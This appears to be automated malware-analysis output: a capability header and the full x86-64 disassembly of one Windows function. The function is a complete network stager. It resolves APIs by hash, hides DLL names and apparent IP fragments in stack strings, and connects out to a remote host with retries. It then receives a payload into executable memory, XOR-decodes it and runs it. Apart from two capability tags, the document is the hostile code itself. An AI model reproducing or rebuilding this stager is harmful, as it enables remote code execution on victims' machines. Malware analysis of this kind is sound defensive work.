Function at 0x140001008
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
jmp 0x140001008
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x298]
sub rsp, 0x398
mov ecx, 0x726774c
call fcn.14000145c
xor edi, edi
mov dword [rbp - 0x70], 0x72657375
mov rbx, rax
mov byte [rbp - 0x66], dil
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x6c], 0x642e3233
mov word [rbp - 0x68], 0x6c6c
call rbx
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x5f327377
mov dword [rbp - 0x5c], 0x642e3233
mov word [rbp - 0x58], 0x6c6c
mov byte [rbp - 0x56], dil
call rbx
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x6376736d
mov dword [rbp - 0x4c], 0x642e7472
mov word [rbp - 0x48], 0x6c6c
mov byte [rbp - 0x46], dil
call rbx
mov ecx, 0x6b8029
call fcn.14000145c
mov ecx, 0xe0df0fea
mov qword [rbp - 0x30], rax
call fcn.14000145c
mov ecx, 0x6174a599
mov r13, rax
call fcn.14000145c
mov ecx, 0x5f38ebc2
mov rsi, rax
call fcn.14000145c
mov ecx, 0xe553a458
mov rdi, rax
call fcn.14000145c
mov ecx, 0x5fc8d902
mov qword [rbp - 0x20], rax
call fcn.14000145c
mov ecx, 0x614d6e75
mov r15, rax
call fcn.14000145c
mov ecx, 0x803428a9
mov qword [rbp - 0x18], rax
call fcn.14000145c
mov ecx, 0x4d7b1e12
mov qword [rbp - 0x28], rax
call fcn.14000145c
mov ecx, 0xd0eb608d
mov r12, rax
call fcn.14000145c
mov ecx, 0x70f2fa31
mov r14, rax
call fcn.14000145c
mov ecx, 0xe449f330
mov rbx, rax
call fcn.14000145c
lea rdx, [rbp + 0x70]
mov ecx, 0x80
call rax
xor eax, eax
mov dword [rsp + 0x78], 0x73257325
mov byte [rsp + 0x7e], al
lea r9, [rbp - 0x78]
lea rax, [rbp + 0x2e8]
mov word [rsp + 0x7c], 0x7325
lea r8, [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x78]
mov dword [rbp - 0x78], 0x5f676f6c
lea rcx, [rbp + 0x70]
mov dword [rbp - 0x74], 0x2e6564
mov dword [rbp + 0x2e8], 0x676f6c
call r14
xor edx, edx
lea rcx, [rbp + 0x70]
call rbx
xor ebx, ebx
test eax, eax
je 0x140001448
lea rax, [rsp + 0x38]
mov dword [rbp - 0x80], 0x20343677
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x2f8]
lea rax, [rsp + 0x30]
mov word [rbp - 0x7c], 0x2020
lea r8, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
mov byte [rbp - 0x7a], bl
lea rcx, [rbp + 0x10]
mov dword [rbp + 0x2f0], 0x2e333231
mov byte [rbp + 0x2f4], bl
mov dword [rbp + 0x2f8], 0x332e3036
mov byte [rbp + 0x2fc], bl
mov dword [rsp + 0x30], 0x31362e37
mov byte [rsp + 0x34], bl
mov dword [rsp + 0x38], 0
mov byte [rsp + 0x3c], bl
mov dword [rsp + 0x40], 0
mov byte [rsp + 0x44], bl
mov dword [rsp + 0x48], 0
mov byte [rsp + 0x4c], bl
mov dword [rsp + 0x50], 0
mov byte [rsp + 0x54], bl
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], bl
mov dword [rsp + 0x60], 0x73257325
mov dword [rsp + 0x64], 0x73257325
mov byte [rsp + 0x68], bl
mov dword [rsp + 0x70], 0x73257325
mov byte [rsp + 0x74], bl
call r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x48]
lea rax, [rsp + 0x50]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x10]
call r14
lea r9, [rbp - 0x10]
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x30]
call r14
mov ecx, 0x202
lea rdx, [rbp + 0xf0]
call qword [rbp - 0x30]
test eax, eax
jne 0x140001448
lea r14d, [rbx + 1]
xor r9d, r9d
mov dword [rsp + 0x28], r14d
lea r8d, [rbx + 6]
mov edx, r14d
mov dword [rsp + 0x20], ebx
lea ecx, [rbx + 2]
call r13
mov rbx, rax
test rax, rax
je 0x140001448
lea rcx, [rbp + 0x30]
mov dword [rbp - 0x40], 0xf270002
lea r13d, [r14 + 1]
call qword [rbp - 0x28]
test rax, rax
jne 0x1400012f8
lea rcx, [rbp + 0x30]
call r12
jmp 0x140001301
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp - 0x3c], eax
mov r12d, 0x10
jmp 0x140001317
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, r12d
lea rdx, [rbp - 0x40]
mov rcx, rbx
call rsi
test eax, eax
jne 0x14000130c
xor r9d, r9d
lea r8d, [rax + 6]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call rdi
mov al, byte [rbp - 0x3e]
lea rdx, [rbp + 0x2e0]
mov byte [rbp + 0x2e0], al
xor r9d, r9d
movzx eax, word [rbp - 0x3e]
mov r8d, r13d
shr ax, 8
mov rcx, rbx
mov byte [rbp + 0x2e1], al
call rdi
xor r9d, r9d
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
lea esi, [r9 + 4]
mov r8d, esi
call rdi
xor r9d, r9d
lea rdx, [rbp + 0x2f8]
mov r8d, esi
mov rcx, rbx
call rdi
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, esi
mov rcx, rbx
call rdi
xor r9d, r9d
lea rdx, [rsp + 0x38]
mov r8d, esi
mov rcx, rbx
call rdi
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov r8d, esi
mov rcx, rbx
call rdi
xor r9d, r9d
lea rdx, [rsp + 0x48]
mov r8d, esi
mov rcx, rbx
call rdi
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov r8d, esi
mov rcx, rbx
call rdi
xor r9d, r9d
lea rdx, [rsp + 0x58]
mov r8d, esi
mov rcx, rbx
call rdi
mov edx, 0x1c9c380
lea r9d, [rsi + 0x3c]
xor ecx, ecx
mov r8d, 0x1000
call qword [rbp - 0x20]
mov rdi, rax
test rax, rax
je 0x140001448
xor esi, esi
mov r12d, 0x64000
mov rdx, rax
jmp 0x14000142f
xor r8d, r8d
test eax, eax
je 0x140001428
lea ecx, [r8 + rsi]
add r8d, r14d
xor byte [rcx + rdi], 0x99
cmp r8d, eax
jb 0x140001418
add esi, eax
mov edx, esi
add rdx, rdi
xor r9d, r9d
mov r8d, r12d
mov rcx, rbx
call r15
cmp eax, r14d
jge 0x140001411
mov rcx, rbx
call qword [rbp - 0x18]
call rdi
add rsp, 0x398
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret